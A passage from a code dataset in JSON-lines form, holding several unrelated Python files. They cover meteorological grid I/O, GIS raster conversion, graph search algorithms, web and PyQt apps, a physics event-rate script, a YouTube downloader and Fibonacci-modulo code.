\"Forte\"]))\n","sub_path":"Laboratorio3/Classificacao.py","file_name":"Classificacao.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"292636336","text":"\nimport nmc_verification.nmc_vf_base as nmb\nimport numpy as np\nimport datetime\nimport pandas as pd\n\ndef test_read_write_micaps4():\n    path = r\"H:\\task\\develop\\python\\git\\nmc_met_class\\nmc_met_class\\tests\\test_data\\grid_fo.txt\"\n    grd = nmb.io.rg.read_from_micaps4(path)\n    nmb.io.wg.write_to_micaps4(grd)\n    sta = nmb.fun.gxy_sxy.transform(grd)\n    grd1 = nmb.fun.sxy_gxy.transform(sta)\n    nmb.io.wg.write_to_micaps4(grd1)\n    #print(sta)\n\ndef test_read_nc():\n    path = r\"K:\\paper13\\m8\\18010100.003.nc\"\n    #path = r\"H:\\task\\develop\\python\\git\\nmc_met_class\\nmc_met_class\\tests\\a.txt\"\n    #from nmc_met_class.io.read_DataArray import read_from_nc\n    grd = nmb.io.rg.read_from_nc(path)\n    grd = nmb.bd.set_coords(grd,level=850,time='2019051901',dtime=\"4d\")\n    #nmc.io.wg.write_to_nc(grd,scale_factor=1)\n    grid0 = nmb.bd.get_grid_of_data(grd)\n\n    grd0 = nmb.bd.grid_data(grid0)\n\n    nmb.io.wg.write_to_micaps4(grd0)\n    print(grd)\n\n\ndef color_negative_red(val):\n    \"\"\"\n    Takes a scalar and returns a string with\n    the css property `'color: red'` for negative\n    strings, black otherwise.\n    \"\"\"\n    color = 'red' if val < 2 else 'black'\n    return 'color: %s' % color\n\ndef interpolation():\n    path = r\"H:\\task\\develop\\python\\git\\nmc_met_class\\nmc_met_class\\tests\\test_data\\grid_fo.txt\"\n    grd = nmb.io.rg.read_from_micaps4(path)\n    #grid0 = nmc.bd.get_grid_of_data(grd)\n    print(grd)\n    grid0 = nmb.bd.grid([80,130,0.125],[20,40,0.125])\n    print(grid0.tostring())\n    grd1 = nmb.fun.gxy_gxy.interpolation_linear(grd,grid0,reserve_other_dim=True)\n    print(grd1)\n    nmb.io.wg.write_to_micaps4(grd1)\n\n    path = r\"H:\\task\\develop\\python\\git\\nmc_met_class\\nmc_met_class\\tests\\test_data\\评分站点.txt\"\n    station = nmb.io.rs.read_from_micaps3(path)\n    print(station)\n    sta1 = nmb.fun.gxy_sxy.cubicInterpolation(grd1, station)\n    nmb.io.ws.write_to_micaps3(sta1)\n    print(sta1.style.applymap(color_negative_red))\n\n    pass\n\n#interpolation()\n\ndef test_read_m3():\n    path = r\"H:\\task\\develop\\python\\git\\nmc_met_class\\nmc_met_class\\tests\\test_data\\评分站点.txt\"\n    station = nmb.io.rs.read_from_micaps3(path)\n    #print(station)\n    sta4 = nmb.fun.get_from_sta_data.get_by_id_list(station, [59954, 59981])\n    #print(sta4)\n    station['data0'] = 0\n    path = r\"H:\\task\\develop\\python\\git\\nmc_met_class\\nmc_met_class\\tests\\test_data\\rain_without0.txt\"\n    sta = nmb.io.rs.read_from_micaps3(path,station= station,reserve_time_dtime_level=True)\n    #print(sta)\n    grid0 = nmb.bd.grid([70,140,0.5],[10,60,0.5])\n    background = nmb.bd.grid_data(grid0)\n    grd = nmb.fun.sxy_gxy.sta_to_grid_oa2(sta, background=background,sm=0.1)\n\n    nmb.io.wg.write_to_micaps4(grd)\n    print(grd)\n\ntest_read_m3()\n\n#test_read_write_micaps4()","sub_path":"build/lib/nmc_verification/tests/test_io.py","file_name":"test_io.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"157707634","text":"# json encoder from html page\r\ndef formatgoal(value):\r\n    result = {}\r\n    fltr = []\r\n    counter = []\r\n\r\n    f = open(\"data.txt\")\r\n    for line in f:\r\n        counter = line.split(\"\\t\")\r\n        fltr.append(counter[1])\r\n        result[counter[1]] = counter[0]\r\n    f.close\r\n    f = open(\"output.txt\", \"w\")\r\n    for goal, id in result.items():\r\n        if goal == fltr[0]:\r\n            f.write(\"{\" + '\"Default\": {}'.format(value) + \",\\n\")\r\n        elif goal != fltr[-1]:\r\n            f.write('\"' + goal + '\": ' + id + \",\\n\")\r\n        else: \r\n            f.write('\"' + goal + '\": ' + id + \"}\")\r\n\r\n    f.close\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    formatgoal(input(\"Default id: \"))","sub_path":"formatgoals.py","file_name":"formatgoals.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"546954630","text":"#!/usr/bin/env python\n#coding:utf-8\n#Copyright (C) dirlt\n\nimport web\nimport util\nfrom PIL import Image\n\nurls = ('/upload', 'upload',\n        '/.*', 'home')\n\napp = web.application(urls, globals())\n\nhome_html = open('home.html').read()\nclass home:\n    def GET(self):\n        return home_html\n\nimport cgi\n\"\"\"\nweb input\n\nfile_content_type = image/png\nfile_size = 3625446\nfile_path = /tmp/nginx_upload/0000000022\nfile_md5 = 1f7e1395ccc314e684eb4f46f4112308\n\"\"\"\noutput_html = open('output.html').read()\nredirect_html = open('redirect.html').read()\nTEST = True\nCACHE = False\nimport os\nclass upload:\n    def GET(self):\n        return self.POST()\n\n    def POST(self):\n        if not TEST:\n            winput = web.input()\n            path = winput['imgfile_path']\n            ctype = winput['imgfile_content_type']\n            fsize = int(winput['imgfile_size'])\n            fmd5 = winput['imgfile_md5']\n        else:\n            path = './sample.jpg'\n            ctype = 'image/jpeg'\n            fsize = 135 * 1024\n            fmd5 = 'md5-of-sample-jpg'\n        if not ctype.startswith('image') or fsize > 8 * 1024 * 1024:\n            return \"Not image or image file is too large(<8MB)\"\n        image_html_file = '%s.html' % (fmd5)\n        image_html_path = '/tmp/ascii_image_output/%s' % (image_html_file)\n        # if cached.\n        if CACHE and os.path.exists(image_html_path): return redirect_html % (locals())\n        # resize image.\n        rim = Image.open(path).convert('RGB')\n        W = 120\n        im = rim.resize((W, int(rim.size[1] * W / rim.size[0])))\n        # write html file.\n        image_html = util.image2html(im, constrast = True, font_color = True)\n        with open(image_html_path, 'w') as fh: fh.write(output_html % (locals()))\n        return redirect_html % (locals())\n\nwsgiapp = app.wsgifunc()\n\nif __name__ == \"__main__\":\n   app.run()\n","sub_path":"codes/py/ascii-image/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"537719014","text":"# import libraries\nimport os\nfrom osgeo import gdal\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom osgeo import osr\nimport h5py\n\n'''xdist = (Enx - E0) / float(nx)\nydist = (Nny - N0) / float(ny)\nrtx = (Eny - E0) / float(ny)\nrty = (Nnx - N0) / float(nx)'''\n\n\ndef getNcPath(NetCdf_data_path):\n\treturn [f for f in os.listdir(NetCdf_data_path) if f.endswith('.nc')]\n\ndef getNCGeoTrans2(file, LonS, LatS ):\n    '''Extract Geotransform from Longitude and Latitude destination file'''\n    \n    f = h5py.File(file, 'r')\n    lon = f[LonS][:]\n    lat = f[LatS][:]\n\n    ny, nx = lon.shape\n\n    E0, Enx, Eny, Enxny = lon[0, 0], lon[0, nx-1], lon[ny-1, 0], lon[ny-1, nx-1]\n    N0, Nny, Nnx, Nnxny = lat[0, 0], lat[ny-1, 0], lat[0, nx-1], lat[ny-1, nx-1]\n\n    A = np.array([[1, nx, 0, 0, 0, 0],[1, 0, ny, 0, 0, 0],[0, 0, 0, 1, 0, ny],[0, 0, 0, 1, nx, 0],[1, nx, ny, 0, 0, 0],[0, 0, 0, 1, nx, ny],[1, 0, 0, 0, 0, 0],[0, 0, 0, 1, 0, 0]])\n    C = np.array([Enx, Eny, Nny, Nnx, Enxny, Nnxny, E0, N0]).reshape(8,1)\n    Gt = np.linalg.solve(np.dot(A.T,A), np.dot(A.T,C))\n    return (Gt[0], Gt[1], Gt[2], Gt[3], Gt[4], Gt[5])\n\n# location to the inputfile\nfilePath = \"D:/Image/Poe/Acolyte/S2B_MSIL1C_20180320T230859last/\"\nNetCdfFilename = getNcPath(filePath)\nFileLocation = filePath+NetCdfFilename[0]\n'''if os.path.exists(FileLocation[:-3]):\n\tif os.path.exists(FileLocation[:-3]+'_bis'):\n\t\tos.mkdir(FileLocation[:-3]+'_bis_bis')\n\telse:\n\t\tos.mkdir(FileLocation[:-3]+'_bis')\nelse:\n\tos.mkdir(FileLocation[:-3])'''\n\n# open the file\ndat = gdal.Open(FileLocation, gdal.GA_ReadOnly)\nif dat == None:\n\tprint('oups')\n \n# Get the Precipitation dataset\ndataset = dat.GetSubDatasets()[6]\n\n# read the precipitation dataset\ndata = gdal.Open(dataset[0],gdal.GA_ReadOnly)\n \n# get the data of the precipitation dataset\ndataBand = data.ReadAsArray()\n \n# get geotransform\n'''GeoT = data.GetGeoTransform()'''\nLonS = 'lon'\nLatS = 'lat'\nGeoT = getNCGeoTrans2(FileLocation, LonS, LatS )\nprint(GeoT)\n \n# set geotif driver\ndriver = gdal.GetDriverByName( 'GTiff' )\n \n# get x,y dimensions of the map\nRastXsize = data.RasterXSize\nRastYsize = data.RasterYSize\n \n# set output name\noutname = \"testFullIm.tif\"\n \n# set projection\ntarget = osr.SpatialReference()\ntarget.ImportFromEPSG(4326)\n \n# write dataset to disk\noutputDataset = driver.Create(outname, RastXsize,RastYsize, 1,gdal.GDT_Float32)\noutputDataset.SetGeoTransform(GeoT)\noutputDataset.SetProjection(target.ExportToWkt())\noutputDataset.GetRasterBand(1).WriteArray(dataBand)\noutputDataset.GetRasterBand(1).SetNoDataValue(-9999)\noutputDataset = None","sub_path":"Poe/Scripts/OpticalDataManagement/ConvertNetcdf2Tif.py","file_name":"ConvertNetcdf2Tif.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"351217449","text":"from django.urls import path, re_path\n\nfrom . import views\n\napp_name = \"encyclopedia\"\nurlpatterns = [\n    path(\"\", views.index, name=\"index\"),\n    re_path(r\"^wiki/(?P\\w*)/$\", views.wiki, name=\"wiki\"),\n    path(\"search\", views.search, name=\"search\"),\n    path(\"new\", views.new, name=\"new\"),\n    path(\"edit/<str:title>\", views.edit, name=\"edit\")\n]\n","sub_path":"encyclopedia/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"298779995","text":"'''\nParse input and run appropriate code.\nDon't use this file for the actual work; only minimal code should be here.\nWe just parse input and call methods from other modules.\n'''\nfrom __future__ import division, print_function\n#do NOT import ways. This should be done from other files\n#simply import your modules and call the appropriate functions\nfrom astar import Astar\nfrom assured import get_assured_path\nfrom search import AstarTimeEvaluator, AstarLightsEvaluator\n\n\ndef simple(source, target):\n    'call function to find path, and return list of indices'   \n    astar = Astar(evaluator = AstarTimeEvaluator())\n    path = astar.run_astar(source, target)\n    return path\n\n    \ndef lights(source, target):\n    'call function to find resume_path, and return list of indices'\n    astar = Astar(evaluator = AstarLightsEvaluator())    \n    path = astar.run_astar(source, target)\n    return path\n    \ndef assured(source, target, time, confidence):\n    N = 20\n    K = 5\n    astar = Astar(evaluator = AstarTimeEvaluator())\n    path = get_assured_path(source, target, time, confidence, astar, N, K)\n    return path\n\n\ndef dispatch(argv):\n    from sys import argv\n    source, target = int(argv[2]), int(argv[3])\n    try:\n        if argv[1] == 'simple':\n            resume_path = simple(source, target)\n        elif argv[1] == 'lights':\n            resume_path = lights(source, target)\n        elif argv[1] == 'assured':\n            time, confidence = int(argv[4]), float(argv[5])\n            resume_path = assured(source, target, time, confidence)\n        print(' '.join(str(j) for j in resume_path))\n    except Exception:\n        print('Cannot find a path')\n      \n        \n    \n\nif __name__ == '__main__':\n    from sys import argv\n    dispatch(argv)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"244411202","text":"#! /usr/bin/env python\n#\n# EventRate.py\n#\n# This module is the implementation of the stage2 analysis. The main\n# purpose of stage2 is to combine the \"oscillated Flux maps\" with the\n# weighted effective areas to create oscillated event rate maps,\n# using the true information.\n# \n# If desired, this will create a .json output file with the results of\n# the current stage of processing.\n#\n# author: Timothy C. Arlen\n#\n#         tca3@psu.edu\n#\n# date:   April 8, 2014\n#\n\nimport os,sys\nimport numpy as np\nimport logging\nfrom argparse import ArgumentParser, RawTextHelpFormatter\nfrom utils.utils import set_verbosity,is_equal_binning\nfrom utils.json import from_json, to_json\nfrom AeffService import AeffServiceMC\nfrom scipy.constants import Julian_year\n\ndef get_event_rates(osc_flux_maps,sim_file=None,livetime=None,nu_xsec_scale=None,\n                    nu_bar_xsec_scale=None,**kwargs):\n    '''\n    Main function for this module, which returns the event rate maps\n    for each flavor and interaction type, using true energy and zenith\n    information. The content of each bin will be the weighted aeff\n    multiplied by the oscillated flux, so that the returned dictionary\n    will be of the form:\n    {'nue': {'cc':map,'nc':map},\n     'nue_bar': {'cc':map,'nc':map}, ...\n     'nutau_bar': {'cc':map,'nc':map} }\n    '''\n\n    # Verify consistent binning.\n    ebins = osc_flux_maps['nue']['ebins']\n    czbins = osc_flux_maps['nue']['czbins']\n    flavours = ['nue','numu','nutau','nue_bar','numu_bar','nutau_bar']\n    if not np.alltrue([is_equal_binning(ebins,osc_flux_maps[nu]['ebins']) for nu in flavours]):\n        raise Exception('Osc flux maps have different energy binning!')\n    if not np.alltrue([is_equal_binning(czbins,osc_flux_maps[nu]['czbins']) for nu in flavours]):\n        raise Exception('Osc flux maps have different coszen binning!')\n\n    logging.info(\"Defining aeff_service...\")\n    aeff_service = AeffServiceMC(ebins,czbins,simfile)\n    aeff_dict = aeff_service.get_aeff()\n    \n    # apply the scaling for nu_xsec_scale and nubar_xsec_scale...\n    \n    event_rate_maps = {}\n    for flavour in flavours:\n        osc_flux_map = osc_flux_maps[flavour]['map']\n        int_type_dict = {}\n        for int_type in ['cc','nc']:\n            event_rate = osc_flux_map*aeff_dict[flavour][int_type]*livetime*Julian_year\n            int_type_dict[int_type] = {'map':event_rate,\n                                       'ebins':ebins,\n                                       'czbins':czbins}\n        event_rate_maps[flavour] = int_type_dict\n        \n    return event_rate_maps\n\nif __name__ == '__main__':\n\n    #Only show errors while parsing \n    set_verbosity(0)\n    parser = ArgumentParser(description='Take an oscillated flux file '\n                            'as input and write out a set of oscillated event counts. ',\n                            formatter_class=RawTextHelpFormatter)\n    parser.add_argument('osc_flux_file',metavar='FLUX',type=from_json,\n                        help='''JSON osc flux input file with the following parameters:\n      {\"nue\": {'czbins':[], 'ebins':[], 'map':[]}, \n       \"numu\": {...},\n       \"nutau\": {...},\n       \"nue_bar\": {...},\n       \"numu_bar\": {...},\n       \"nutau_bar\": {...} }''')\n    parser.add_argument('weighted_aeff_file',metavar='WEIGHTFILE',type=str,\n                        help='''HDF5 File containing data from all flavours for a particular instumental geometry. \nExpects the file format to be:\n      {\n        'nue': {\n           'cc': {\n               'weighted_aeff': np.array,\n               'true_energy': np.array,\n               'true_coszen': np.array,\n               'reco_energy': np.array,\n               'reco_coszen': np.array\n            },\n            'nc': {...\n             }\n         },\n         'nue_bar' {...},...\n      } ''')\n    parser.add_argument('--livetime',type=float,default=1.0,\n                        help='''livetime in years to re-scale by.''')\n    parser.add_argument('--nu_xsec_scale',type=float,default=1.0,\n                        help='''Overall scale on nu xsec.''')\n    parser.add_argument('--nubar_xsec_scale',type=float,default=1.0,\n                        help='''Overall scale on nu_bar xsec.''')\n    parser.add_argument('-o', '--outfile', dest='outfile', metavar='FILE', type=str,\n                        action='store',default=\"event_rate.json\",\n                        help='''file to store the output''')\n    parser.add_argument('-v', '--verbose', action='count', default=0,\n                        help='''set verbosity level''')\n    args = parser.parse_args()\n\n    #Set verbosity level\n    set_verbosity(args.verbose)\n\n    livetime = args.livetime\n    nu_xsec_scale = args.nu_xsec_scale\n    nubar_xsec_scale = args.nubar_xsec_scale\n    event_param_dict = {'livetime':livetime,'nu_xsec_scale':nu_xsec_scale,\n                        'nubar_xsec_scale':nubar_xsec_scale}\n\n    for name,param in zip([\"livetime\",\"nu xs scale\",\"nubar xs scale\"],\n                          [livetime,nu_xsec_scale,nubar_xsec_scale]):\n        logging.debug(\"%14s: %s \"%(name,param))\n\n    logging.info(\"Getting oscillated flux...\")    \n    osc_flux_maps = args.osc_flux_file\n    simfile = args.weighted_aeff_file\n\n    event_rate_maps = get_event_rates(osc_flux_maps,simfile,livetime,\n                                      nu_xsec_scale,nubar_xsec_scale)\n\n    event_rate_maps['params'] = dict(osc_flux_maps['params'].items() + \n                                     event_param_dict.items())\n    logging.info(\"Saving output to .json file...\")\n    to_json(event_rate_maps,args.outfile)\n    \n    \n","sub_path":"trigger/EventRate.py","file_name":"EventRate.py","file_ext":"py","file_size_in_byte":5574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"85337369","text":"from threading import Thread\nfrom rpicenter import state\nfrom rpicenter.adapter import Adapter\n\nimport RPi.GPIO as gpio\n\ndef _check_slot_used(device, slot):\n\tfor a in state._adapters:\n\t\tif a._device_object_id == id(device) and a._slot == slot:\n\t\t\treturn True\n\treturn False\n\ndef _check_pin_used(gpio_pin):\n\tfor a in state._adapters:\n\t\tif a._gpio_pin == gpio_pin:\n\t\t\treturn True\n\treturn False\n\ndef reg_adapter(device, slot, gpio_pin):\n\tif _check_slot_used(device, slot):\n\t\traise Exception('Slot {} is already used'.format(slot))\n\t\n\tif _check_pin_used(gpio_pin):\n\t\traise Exception('GPIO pin {} is already used'.format(gpio_pin))\n\t\n\tstate._adapters.append(Adapter(id(device), slot, gpio_pin))\n\ndef reg_device(device):\n\tfor d in state._devices:\n\t\tif id(d) == id(device):\n\t\t\traise Exception('Device is already registered')\n\tstate._devices.append(device)\n\tstate._device_threads.append(Thread(target = device.loop))\n\ndef loop():\n\tfor t in state._device_threads:\n\t\tt.start()\n\ndef wait():\n\tfor t in state._device_threads:\n\t\tt.join()\n\ndef request_stop():\n\tfor d in state._devices:\n\t\td.request_stop()\n\ndef cleanup():\n\tfor d in state._devices:\n\t\td.cleanup()\t\n\tstate._device_threads = []\n\tstate._devices = []\n\tstate._adapters = []\n\t\n\tgpio.cleanup()\n\t\n\n\n\n\n\n\n","sub_path":"rpicenter/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"399449565","text":"import pytube\nimport os\nimport subprocess\n# 다운 받을 동영상 url 지정\nyt = pytube.YouTube('https://www.youtube.com/watch?v=Kbj2Zss-5GY')\n\nvideos = yt.streams.all()\n\nfor i in range(len(videos)):\n    print(i,',',videos[i])\n\ndown_dir = \"C:\\YouTube\"\n\n\ncnum =int(input(\"다운 받을 화질은(0~21 입력)\"))\n\nvideos[cnum].download(down_dir)\n\nnewfilename =input('변환할 mp3 파일명은?')\noriginalfilename =videos[cnum].default_filename\n\n\n\nsubprocess.call(['ffmpeg', '-i',\nos.path.join(down_dir,originalfilename),\nos.path.join(down_dir,newfilename)])\n\n\nprint('동영상 다운로드 및 mp3 변환완료')\n","sub_path":"youtube-download.py","file_name":"youtube-download.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"427381389","text":"import math\n\n#Node class, handles everything to do with nodes themselves\nclass Node(object):\n    #initialization\n    def __init__(self, value):\n        self.value = value\n        self.adjacent = {}\n\n    #add adjacent node\n    def add_next(self, nextTo, weight):\n        self.adjacent[nextTo] = weight\n\n    #return nodes value (not node location)\n    def get_value(self):\n        return self.value\n\n    #return length of adjacent dictionary\n    def get_adjacent_length(self):\n        return len(self.adjacent)\n\n    #return adjacent dictionary as a list\n    def get_adjacent_as_list(self):\n        printList = []\n        for item in self.adjacent:\n            printList.append(self.adjacent[item].get_value())\n        return printList\n\n    #return adjacent dictionary as a dictionary\n    def return_adjacent(self):\n        return self.adjacent\n\n    #return weight of node argument\n    def get_weight(self, node):\n        return self.adjacent[node]\n    \n#Graph class, allows the actual creation of the graph, and handles all graph related queries\nclass Graph:\n    \n    #initialization\n    def __init__(self):\n        self.dict = {}\n\n    #creates and adds node to graph\n    def add_node(self, value):\n        node = Node(value)\n        self.dict[value] = node\n        print(\"Node: \" + str(value) + \" has been created\")\n\n    #adds adjacent node to node\n    def add_edge(self, node, adjacent_node, weight=0):\n        self.dict[node].add_next(self.dict[adjacent_node], weight)\n        self.dict[adjacent_node].add_next(self.dict[node], weight)\n\n    #print graph in a readable form\n    def print_graph(self):\n        keyList = []\n        for key in self.dict:\n            keyList.append(key)\n        for item in keyList:\n            print(str(item) + \", adjacent nodes: \" +\n                  str(self.dict[item].get_adjacent_as_list()) +\n                  \" (\" + str(self.dict[item].get_adjacent_length()) + \")\")\n\n    #DFS function implementation. runs DFS algorithm, and returns\n    def depth_first_search(self, node):\n        stack = []\n        visited = []\n        stack.append(node)\n        while len(stack) != 0:\n            u = stack.pop()\n            if u not in visited:\n                visited.append(u)\n                for item in self.dict[u].return_adjacent():\n                    nodey = item.get_value()\n                    stack.append(nodey)\n        return visited\n\n    #BFS function implementation. runs BFS algorithm, and returns\n    def breadth_first_search(self, node):\n        stack = []\n        visited = []\n        stack.append(node)\n        while len(stack) != 0:\n            u = stack.pop(0)\n            if u not in visited:\n                visited.append(u)\n                for item in self.dict[u].return_adjacent():\n                    nodey = item.get_value()\n                    stack.append(nodey)\n        return visited\n\n    #dijkstra algorithm, 2 arguments\n    def dijkstra(self, node_source, node_destination):\n        #print(self.dict[node_source].return_adjacent())\n        print(\"Algorithm start\")\n        v = node_source\n        tw = {}\n        fastest_route = []\n        for item in self.dict:\n            tw[item] = math.inf\n        tw[node_source] = 0\n        visited = []\n\t\t\n\t#loop as long as v is not equal to node_destination\n        while v != node_destination:\n            #return node adjacent list, loop over each item\n            for item in self.dict[v].return_adjacent():\n                theDict = self.dict[v].return_adjacent()\n                if tw[v] + theDict[item] < tw[item.get_value()]:\n                    print(tw[v])\n                    print(theDict[item])\n                    print(tw[item.get_value()])\n                    tw[item.get_value()] = tw[v]+theDict[item]\n                    fastest_route.append(v)\n                \n            visited.append(v)\n            print(visited)\n            mini = math.inf\n            #return node adjacent list, loop over each item again\n            for item in self.dict[v].return_adjacent():\n                print(str(item.get_value()) + \" = item\")\n                #not in visited list, and meets critera\n                if item.get_value() not in visited and tw[item.get_value()] < mini:\n                    v = item.get_value()\n                    mini = tw[item.get_value()]\n            print(str(v) + \" = v integer\")\n\n        #removes duplicate nodes from list, prints in readable way\n        tempList = []\n        for i in range(len(fastest_route)):\n            if fastest_route[i] not in tempList:\n                tempList.append(fastest_route[i])\n        print(\"The fastest route to your destination node is: \" + str(tempList))\n                \n            \n                    \n\t\t\n\t\n\n\n\n#Runs program with nodes that allow it to work.\nif __name__ == '__main__':\n\n    graph = Graph()\n\n##    commented due to no longer use for dijkstra's.\n##    graph.add_node(5)\n##    graph.add_node(1)\n##    graph.add_node(3)\n##    graph.add_node(4)\n##    graph.add_node(7)\n##    graph.add_node(9)\n##    graph.add_node(2)\n##    graph.add_edge(5, 1, 15)\n##    graph.add_edge(1, 3)\n##    graph.add_edge(3, 4)\n##    graph.add_edge(4, 7, 12)\n##    graph.add_edge(7, 9, 9)\n##    graph.add_edge(9, 2)\n##    graph.add_edge(2, 5)\n    #graph.print_graph()\n\n    #graph.dijkstra(5, 2)\n##    #runs DFS and BFS\n##    dfs = graph.depth_first_search(5)\n##    bfs = graph.breadth_first_search(5)\n##\n##    #writes DFS and BFS traversal to text file.\n##    with open('graph_traversals.txt', 'a') as file:\n##        file.write(\"DFS: \" + str(dfs) + \"\\n\")\n##        file.write(\"BFS: \" + str(bfs) + \"\\n\")\n##        file.close()\n\n    rlist = [1,11,6,7,10,15,3,4]\n    for i in range(20):\n        if i in rlist:\n            graph.add_node(i)\n\n    graph.add_edge(1, 11, 5)\n    graph.add_edge(1, 10, 3)\n    graph.add_edge(1, 3, 2)\n    graph.add_edge(11, 6, 1)\n    graph.add_edge(11, 10, 1)\n    graph.add_edge(10, 15, 3)\n    graph.add_edge(10, 3, 1)\n    graph.add_edge(10, 4, 2)\n    graph.add_edge(6, 15, 1)\n    graph.add_edge(6, 7, 9)\n    graph.add_edge(15, 4, 1)\n    graph.add_edge(15, 7, 19)\n    graph.add_edge(4, 7, 10)\n    graph.add_edge(3, 10, 1)\n    graph.add_edge(3, 4, 4)\n\n    graph.dijkstra(1, 7)\n\n    \n\n","sub_path":"JackBond15.py","file_name":"JackBond15.py","file_ext":"py","file_size_in_byte":6174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"254070346","text":"import tensorflow as tf\nimport numpy as np\n\nREG_VARS = 'reg_vars'\n\n\ndef linear(X, dout, name, bias=True):\n    with tf.variable_scope(name):\n        dX = int(X.get_shape()[-1])\n        W = tf.get_variable('W', shape=(dX, dout))\n        tf.add_to_collection(REG_VARS, W)\n        if bias:\n            b = tf.get_variable('b', initializer=tf.constant(np.zeros(dout).astype(np.float32)))\n        else:\n            b = 0\n    return tf.matmul(X, W) + b\n\n\ndef relu_layer(X, dout, name):\n    return tf.nn.relu(linear(X, dout, name))\n\n\ndef get_session_config():\n    session_config = tf.ConfigProto()\n    session_config.gpu_options.allow_growth = True\n    return session_config\n","sub_path":"inverse_rl/models/tf_util.py","file_name":"tf_util.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"127715139","text":"# Copyright © 2020 baneon - MIT License\n# See `LICENSE` included in the source distribution for details.\n\nimport sys\nimport pathlib\n\nfrom PyQt5 import QtWidgets, QtGui\nfrom PyQt5.QtCore import pyqtSlot, Qt, QVariant\n\nfrom gui.MainWindow import Ui_MainWindow\nfrom gui.ItemEdit import Ui_Dialog\n\n\n# === AlignCenterText ===\nclass AlignDelegate(QtWidgets.QStyledItemDelegate):\n\n    def initStyleOption(self, option, index):\n        super(AlignDelegate, self).initStyleOption(option, index)\n        option.displayAlignment = Qt.AlignCenter\n# === AlignCenterText ===\n\n\nclass Dialog(QtWidgets.QDialog):\n\n    def __init__(self):\n        super(Dialog, self).__init__()\n        self.ui = Ui_Dialog()\n        self.ui.setupUi(self)\n\n\nclass main(QtWidgets.QMainWindow):\n\n    def __init__(self):\n        super(main, self).__init__()\n        self.ui = Ui_MainWindow()\n        self.ui.setupUi(self)\n\n        for row in range(self.ui.tableWidget.rowCount()):\n            for col in range(self.ui.tableWidget.columnCount()):\n                self.ui.tableWidget.setItem(row, col, QtWidgets.QTableWidgetItem(None))\n                item = QtWidgets.QTableWidgetItem()\n                item.setData(Qt.EditRole, QVariant(row + 1))\n                item.setFlags(Qt.ItemIsEnabled)\n                self.ui.tableWidget.setItem(row, 0, item)\n\n        item = QtWidgets.QTableWidgetItem()\n        self.ui.tableWidget.setHorizontalHeaderItem(0, item)\n        item = self.ui.tableWidget.horizontalHeaderItem(0)\n        item.setText(\"ID\")\n\n        # === AlignCenterText ===\n        delegate = AlignDelegate(self.ui.tableWidget)\n        self.ui.tableWidget.setItemDelegate(delegate)\n        # === AlignCenterText ===\n\n        # Acomoda el ancho de las columnas.\n        self.ui.tableWidget.resizeColumnsToContents()\n\n        self.ui.actionSave.triggered[\"bool\"].connect(self.openFileSaveDialog)\n        self.ui.actionEditItem.triggered[\"bool\"].connect(self.openDialog)\n        self.ui.tableWidget.cellChanged[\"int\", \"int\"].connect(self.get_tableWidget_values)\n\n\n    @pyqtSlot(bool)\n    def openFileSaveDialog(self, q):\n        title = \"Guardar Archivo\"\n        accept = \"Documento de Evaluación (*.digna)\"\n        files, _ = QtWidgets.QFileDialog.getSaveFileName(self, title, \"\", accept)\n        print(files, _)\n\n\n    @pyqtSlot(bool)\n    def openDialog(self, q):\n        myDialog = Dialog()\n        myDialog.exec()\n\n\n    @pyqtSlot(int, int)\n    def get_tableWidget_values(self, x, y):\n        self.ui.tableWidget.resizeColumnsToContents()\n        print(x, y)\n        print(self.ui.tableWidget.item(x, y).text())\n\n\nif __name__ == \"__main__\":\n    app = QtWidgets.QApplication(sys.argv)\n    application = main()\n    application.show()\n    sys.exit(app.exec())\n","sub_path":"Digna/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"558340030","text":"# Uses python3\r\n\"\"\"This is the solution for problem of computing huge Fibonacci number modulo m.\r\nThe thing here is that we have to solve the problem when the n and m are\r\nvery big (n <= 10^18, m <= 10^5). Thus, the idea of this solution is \r\nto use Pisano period and its property, that the current element of\r\nthe period is equal to sum of previous two elements modulo m.\"\"\"\r\n\r\nimport sys\r\n\r\n\r\ndef calc_fib(number):\r\n    if number <= 1:\r\n        return number\r\n    else:\r\n        fib_list = []\r\n        fib_list.extend([0, 1])\r\n        for j in range(2, number + 1):\r\n            fib_list.append(fib_list[j - 1] + fib_list[j - 2])\r\n            fib_list[j - 2] = 0\r\n        return fib_list[j]\r\n\r\n\r\ndef get_fibonacci_huge(el_number, divsr_m):\r\n    pis_list = [0, 1]\r\n    for i in range(2, divsr_m ** 2 + 1):\r\n        pis_list.append((pis_list[0] % divsr_m + pis_list[1] % divsr_m) % divsr_m)\r\n        pis_list.pop(0)\r\n        print(pis_list)\r\n        if 